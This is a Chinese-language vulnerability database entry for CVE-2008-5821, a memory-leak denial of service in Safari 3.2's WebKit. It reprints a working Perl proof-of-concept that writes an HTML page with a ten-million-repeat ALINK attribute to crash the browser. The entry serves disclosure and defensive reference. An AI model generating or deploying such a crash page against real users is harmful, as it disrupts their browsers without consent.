Apple Safari WebKit alink属性内存泄露拒绝服务漏洞

2009-01-0500:00:00

Root

www.seebug.org

0.195 Low

EPSS

Percentile

96.3%

JSON

BUGTRAQ ID: 33080
CVE(CAN) ID: CVE-2008-5821

Safari是苹果操作系统中所默认捆绑的WEB浏览器。

Safari所使用的WebKit（WebKit.dll）中存在内存泄露漏洞。如果用户受骗打开的HTML文档中BODY单元包含有超长的ALINK属性的话，就可以触发这个漏洞，导致浏览器由于内存耗尽而崩溃。

Apple Safari 3.2
- Microsoft Windows Vista
厂商补丁：

Apple

目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本：

<a href=“http://www.apple.com” target=“_blank”>http://www.apple.com</a>


                                                #!/usr/bin/perl
# safari_webkit_ml.pl
# Safari (Webkit) 3.2 Remote Memory Leak Exploit
# Jeremy Brown [[email protected]/jbrownsec.blogspot.com]
# Access violation when writing to [00000018]
# EIP 6B00A02B WebKit.6B00A02B
# LastError 00000008 ERROR_NOT_ENOUGH_MEMORY
# Memory leaks are common in browsers.. tested on Vista SP1
# Compliments of bf2

$filename = $ARGV[0];
if(!defined($filename))
{

     print &quot;Usage: $0 &lt;filename.html&gt;\n&quot;;

}

$head = &quot;&lt;html&gt;&quot; . &quot;\n&quot;;
$trig = &quot;&lt;body alink=\&quot;&quot; . &quot;A/&quot; x 10000000 . &quot;\&quot;&gt;&quot; . &quot;\n&quot;;
$foot = &quot;&lt;/html&gt;&quot;;

$data = $head . $trig . $foot;

     open(FILE, '&gt;' . $filename);
     print FILE $data;
     close(FILE);

exit;

0.195 Low

EPSS

Percentile

96.3%

JSON

Related for SSV:4615